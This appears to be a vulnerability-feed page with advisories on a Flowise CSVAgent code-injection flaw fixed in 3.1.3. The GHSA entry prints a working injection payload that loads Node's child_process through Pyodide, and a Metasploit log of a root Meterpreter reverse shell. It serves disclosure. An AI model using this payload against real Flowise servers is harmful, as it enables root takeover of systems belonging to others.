Most recent entries from all

EUVD-2026-344250

fkie_cve-2026-69255

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = "${base64String}" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.

GHSA-vmv7-4m6c-3cg5 — Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

Affected: npm: flowise, npm: flowise-components

## UPDATE 2026-05-20: Full RCE as root VERIFIED

**This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.**

### Verified Exploit Chain

1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container)

### Working RCE Payload

``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ```

**Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas.

### Metasploit Session Proof

``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit

[+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid Server username: root

meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux

meterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ```

### Addi…

WID-SEC-W-2026-2589 — Flowise: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Code auszuführen – sogar mit Root-Rechten –, erweiterte Privilegien zu erlangen, Sicherheitsmaßnahmen zu umgehen, Sitzungen zu kapern sowie Daten offenzulegen oder zu manipulieren.